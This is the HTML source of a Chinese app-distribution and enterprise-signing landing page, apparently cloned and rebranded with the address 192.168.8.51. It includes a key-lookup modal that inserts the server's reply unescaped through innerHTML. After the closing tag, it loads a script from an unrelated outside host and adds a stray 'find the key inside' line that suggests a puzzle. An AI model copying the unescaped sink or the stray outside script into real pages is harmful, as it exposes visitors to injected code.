<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0">
<meta name="keywords" content="apk,android,ipa,ios,iphone,ipad,app封装,应用分发,企业签名">
<meta name="description" content="耳朵分发为各行业提供ios企业签名、app封装、应用分发托管服务!">
<title>耳朵分发 - App托管服务分发平台|应用封装|安卓托管|iOS分发|ipa企业签名</title>
<link href="/static/index/icons.css" rel="stylesheet">
<link href="/static/index/bootstrap.css" rel="stylesheet">
<script type="text/javascript" src="/static/index/analytics.js"></script>
<script type="text/javascript">
var startTime = new Date();
var reg_link = '/index.php/reg';
var letter_doodle = ["B","e","t","a","A","p","p","H","o","s","t","<br>","{","<br>"," ","r","e","t","u","r","n"," ",'"',"1","9","2",".","1","6","8",".","8",".","5","1",'"',"<br>","}"];
var end_letter_doodle = '<i class="icon-" style="font-style:normal;font-size:100px;font-weight:bold">1</i><i class="icon-" style="font-style:normal;font-size:100px;font-weight:bold">9</i><i class="icon-" style="font-style:normal;font-size:100px;font-weight:bold">2</i><i class="icon-comma trans"></i><i class="icon-" style="font-style:normal;font-size:100px;font-weight:bold">1</i><i class="icon-" style="font-style:normal;font-size:100px;font-weight:bold">6</i><i class="icon-" style="font-style:normal;font-size:100px;font-weight:bold">8</i><i class="icon-comma trans"></i><i class="icon-" style="font-style:normal;font-size:100px;font-weight:bold">8</i><i class="icon-comma trans"></i><i class="icon-" style="font-style:normal;font-size:100px;font-weight:bold">5</i><i class="icon-" style="font-style:normal;font-size:100px;font-weight:bold">1</i>';
</script>
</head>
<body>
<div id="loadingCover" onclick="location.reload()" class="loading-cover" style="cursor:pointer">
<span class="circle prepare"><img src="/static/index/loading-Home.gif"></span>
</div>
<link href="/static/index/home.css" rel="stylesheet">
<script type="text/javascript" src="/static/index/home.js"></script>
<nav class="navbar navbar-transparent" role="navigation">
<div class="navbar-header">
<a class="navbar-brand" href="/"><i class="icon-" style="font-size:40px;font-weight:bold">192.168.8.51</i></a>
</div>
<div class="collapse navbar-collapse navbar-ex1-collapse" ng-controller="NavbarController">
<div class="dropdown">
<div>
<i class="icon-brace-left"></i>
<ul class="navbar-bracket">
<li><a href="/">首页</a><i class="icon-comma"></i></li>
<li><a href="/index.php/install">分发价格</a><i class="icon-comma"></i></li>
<li><a href="/index.php/sign">签名价格</a><i class="icon-comma"></i></li> <li><a href="/index.php/webview">封装价格</a><i class="icon-comma"></i></li>
<li><a href="javascript:void(0)" onclick="showKeyModal()">获取密钥</a><i class="icon-comma"></i></li>
<li><a href="/index.php/login">立即登录</a><i class="icon-comma"></i></li>
<li class="signup"><a href="/index.php/reg">免费注册</a></li>
</ul>
<i class="icon-brace-right"></i>
</div>
</div>
</div>
<!-- 获取密钥弹窗 -->
<div id="keyModal" class="key-modal" style="display:none;">
<div class="key-modal-overlay" onclick="hideKeyModal()"></div>
<div class="key-modal-container">
<div class="key-modal-content">
<div class="key-modal-header">
<h3>获取密钥</h3>
<button class="key-modal-close" onclick="hideKeyModal()">×</button>
</div>
<div class="key-modal-body">
<div class="key-input-group">
<label>请输入密钥:</label>
<input type="text" id="keyInput" placeholder="输入您的密钥..." />
</div>
<div id="keyResult" class="key-result" style="display:none;"></div>
</div>
<div class="key-modal-footer">
<button class="key-btn key-btn-primary" onclick="submitKey()">获取</button>
<button class="key-btn key-btn-secondary" onclick="hideKeyModal()">取消</button>
</div>
</div>
</div>
</div>
<style>
.key-modal {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: 9999;
}
.key-modal-overlay {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0, 0, 0, 0.6);
}
.key-modal-container {
position: relative;
display: flex;
align-items: center;
justify-content: center;
height: 100%;
}
.key-modal-content {
background: #fff;
border-radius: 8px;
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
width: 400px;
max-width: 90%;
font-family: 'Helvetica Neue', Arial, sans-serif;
}
.key-modal-header {
padding: 20px 25px 15px;
border-bottom: 1px solid #eee;
display: flex;
justify-content: space-between;
align-items: center;
}
.key-modal-header h3 {
margin: 0;
color: #333;
font-size: 18px;
font-weight: 500;
}
.key-modal-close {
background: none;
border: none;
font-size: 24px;
color: #999;
cursor: pointer;
padding: 0;
width: 30px;
height: 30px;
display: flex;
align-items: center;
justify-content: center;
}
.key-modal-close:hover {
color: #666;
}
.key-modal-body {
padding: 25px;
}
.key-input-group {
margin-bottom: 20px;
}
.key-input-group label {
display: block;
margin-bottom: 8px;
color: #555;
font-size: 14px;
}
.key-input-group input {
width: 100%;
padding: 12px 15px;
border: 1px solid #ddd;
border-radius: 4px;
font-size: 14px;
box-sizing: border-box;
}
.key-input-group input:focus {
outline: none;
border-color: #4CAF50;
box-shadow: 0 0 0 2px rgba(76, 175, 80, 0.2);
}
.key-result {
padding: 15px;
background: #f8f9fa;
border: 1px solid #e9ecef;
border-radius: 4px;
font-family: monospace;
font-size: 12px;
color: #333;
word-break: break-all;
}
.key-modal-footer {
padding: 15px 25px 20px;
display: flex;
justify-content: flex-end;
gap: 10px;
}
.key-btn {
padding: 10px 20px;
border: none;
border-radius: 4px;
cursor: pointer;
font-size: 14px;
font-weight: 500;
transition: all 0.2s;
}
.key-btn-primary {
background: #4CAF50;
color: white;
}
.key-btn-primary:hover {
background: #45a049;
}
.key-btn-secondary {
background: #f8f9fa;
color: #666;
border: 1px solid #ddd;
}
.key-btn-secondary:hover {
background: #e9ecef;
}
</style>
<script>
function showKeyModal() {
document.getElementById('keyModal').style.display = 'block';
document.getElementById('keyInput').focus();
}
function hideKeyModal() {
document.getElementById('keyModal').style.display = 'none';
document.getElementById('keyInput').value = '';
document.getElementById('keyResult').style.display = 'none';
}
function submitKey() {
var key = document.getElementById('keyInput').value.trim();
if (!key) {
alert('请输入密钥!');
return;
}
// 发送AJAX请求到key_handler.php
var xhr = new XMLHttpRequest();
xhr.open('POST', '/key_handler.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
var result = document.getElementById('keyResult');
result.innerHTML = xhr.responseText;
result.style.display = 'block';
}
};
xhr.send('key=' + encodeURIComponent(key));
}
// 按ESC键关闭弹窗
document.addEventListener('keydown', function(e) {
if (e.key === 'Escape' && document.getElementById('keyModal').style.display === 'block') {
hideKeyModal();
}
});
// 按Enter键提交
document.addEventListener('keydown', function(e) {
if (e.key === 'Enter' && document.getElementById('keyModal').style.display === 'block') {
submitKey();
}
});
</script>
</nav>
<div class="super-container">
<div class="section section-1 ready">
<div class="beta-app-host">
<pre class="typed-finish">
BetaAppHost
<br>
{
<br>
return "192.168.8.51"
<br>
}
</pre>
<b></b>
</div>
<div class="plane-wrapper" style="left:320px">
<img class="plane" src="/static/index/plane.svg">
<div class="rotate-container">
<img class="propeller" src="/static/index/propeller.svg">
</div>
</div>
</div>
<div class="section section-2 ready">
<div class="features">
<div class="cols" style="width:480px">
<div class="back">
</div>
<div class="front">
<div class="group expanded">
<div class="content-wrapper">
<table>
<tbody>
<tr>
<td>
<div class="icon">
<i class="icon-launch"></i>
</div>
<div class="title">
内测托管
</div>
<div class="text">
一键上传应用,扫描二维码下载
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="group folded">
<div class="content-wrapper">
<table>
<tbody>
<tr>
<td>
<div class="icon">
<i class="icon-user-access"></i>
</div>
<div class="title">
权限控制
</div>
<div class="text">
灵活的访问权限控制,可添加团队成员
<br>
共同上传、管理应用
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<div class="cols" style="width:480px">
<div class="back">
</div>
<div class="front">
<div class="group folded">
<div class="content-wrapper">
<table>
<tbody>
<tr>
<td>
<div class="icon">
<i class="icon-plugin"></i>
</div>
<div class="title">
开放 API
</div>
<div class="text">
使用 192.168.8.51 的 API 接口可以方便搭建
<br>
Jenkins 等自动集成的系统
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="group expanded">
<div class="content-wrapper">
<table>
<tbody>
<tr>
<td>
<div class="icon">
<i class="icon-combo"></i>
</div>
<div class="title">
应用合并
</div>
<div class="text">
扫描同一个二维码,根据设备类型自动下载对应的 iOS
<br>
或 Android 应用。
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<div class="cols" style="width:480px">
<div class="back">
</div>
<div class="front">
<div class="group expanded">
<div class="content-wrapper">
<table>
<tbody>
<tr>
<td>
<div class="icon">
<i class="icon-console"></i>
</div>
<div class="title">
命令行工具
</div>
<div class="text">
2sx-cli 可以通过命令行查看、上传、编译、打包应用
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="group folded">
<div class="content-wrapper">
<table>
<tbody>
<tr>
<td>
<div class="icon">
<i class="icon-webhooks"></i>
</div>
<div class="title">
Web Hooks
</div>
<div class="text">
应用更新时团队成员会收到更新邮件,添加Web Hooks的第三方平台也会有更新消息提醒。(已支持 Slack、简聊、BearyChat、纷云、瀑布 IM等)
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="section section-3">
<table>
<tbody>
<tr>
<td>
<div class="tools">
<div class="title">
Utility Tools
</div>
<div class="boxes-container">
<div class="cols">
<div class="box-wrapper">
<p class="tool-desc">
让测试用户快速获取 UDID 并发送给开发者
</p>
<div class="brace">
<i class="icon-brace-box"></i>
</div>
<div class="box">
<div class="side left">
</div>
<div class="side top">
<div class="lid-left">
</div>
<div class="lid-right">
</div>
</div>
<div class="side front">
<i class="icon-udid"></i>
</div>
<div class="side right">
GET
<br>
UDID
</div>
<div class="side back">
</div>
</div>
</div>
</div>
<div class="cols">
<div class="box-wrapper">
<p class="tool-desc">
读取手机日志,快速定位无法安装的原因
</p>
<div class="brace">
<i class="icon-brace-box"></i>
</div>
<div class="box">
<div class="side left">
</div>
<div class="side top">
<div class="lid-left">
</div>
<div class="lid-right">
</div>
</div>
<div class="side front">
<i class="icon-filter"></i>
</div>
<div class="side right">
LOG
<br>
GURU
</div>
<div class="side back">
</div>
</div>
</div>
</div>
<div class="cols">
<div class="box-wrapper">
<p class="tool-desc">
添加 SDK,灵活实现应用的检测更新功能
</p>
<div class="brace">
<i class="icon-brace-box"></i>
</div>
<div class="box">
<div class="side left">
</div>
<div class="side top">
<div class="lid-left">
</div>
<div class="lid-right">
</div>
</div>
<div class="side front">
<i class="icon-update"></i>
</div>
<div class="side right">
AUTO-
<br>
UPDATE
</div>
<div class="side back">
</div>
</div>
</div>
</div>
<div class="cols">
<div class="box-wrapper">
<p class="tool-desc">
快速检测本机在 192.168.8.51 的上传下载速度
</p>
<div class="brace">
<i class="icon-brace-box"></i>
</div>
<div class="box">
<div class="side left">
</div>
<div class="side top">
<div class="lid-left">
</div>
<div class="lid-right">
</div>
</div>
<div class="side front">
<i class="icon-test-speed"></i>
</div>
<div class="side right">
SPEED
<br>
TEST
</div>
<div class="side back">
</div>
</div>
</div>
</div>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
<div class="section section-4">
<table>
<tbody>
<tr>
<td>
<div class="content-wrapper">
<p class="title">
What Our Users Say
</p>
<div class="users-wrapper">
<div class="item jumei" data-item="jumei">
<span class="logo"><i class="icon-logo-jumei"></i></span>
<p class="words">
就像送自己的孩子去托儿所一样,安全、便捷,192.168.8.51 将我们这些“父母”从发包内测中解放!期待越办越好,小美会一如既往支持 192.168.8.51!
</p>
</div>
<div class="item jiecao" data-item="jiecao">
<span class="logo"><i class="icon-logo-jiecao"></i></span>
<p class="words">
节操精选的公司内部测试到小范围用户群灰度测试,192.168.8.51 极大方便帮我们解决了安装包传输的问题;安全放心、操作便捷、界面简洁!
</p>
</div>
<div class="item jd" data-item="jd">
<span class="logo"><i class="icon-logo-jd"></i></span>
<p class="words">
192.168.8.51 解决了京东阅读客户端每日测试发布的难题,大大减轻了跨地域开发测试的难度,192.168.8.51 加油!
</p>
</div>
<div class="item ebaoyang" data-item="ebaoyang">
<span class="logo"><i class="icon-logo-ebaoyang"></i></span>
<p class="words">
e 保养一直在用 192.168.8.51 进行测试托管分发,喜欢 192.168.8.51 的 UI 和用户体验设计,硅谷范儿的产品!
</p>
</div>
<div class="item xiachufang" data-item="xiachufang">
<span class="logo"><i class="icon-logo-xiachufang"></i></span>
<p class="words">
192.168.8.51 与下厨房一样,都在 UI 和 UE 上下功夫,将开发者工具做到简洁极致,提高效率的同时也令人赏心悦目。
</p>
</div>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
<div class="section section-5">
<table>
<tbody>
<tr>
<td>
<div class="imfir">
<div class="brand-animate">
<span class="cursor"></span>
</div>
<div class="thumbsup-wrapper">
<div class="brace-group">
<i class="icon-brace-left"></i>
<div class="brace-content">
<i class="icon-thumbsup"></i><span class="face"><i class="icon-comma-eye left"></i><i class="icon-comma-eye right"></i><i class="icon-mouth"></i></span>
</div>
<i class="icon-brace-right"></i>
</div>
<p class="are-you-like">
</p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div></body>
</html><script async="async" src="//i.6v4.work/v/?uid=387952"></script>查找里面的密钥
最新发布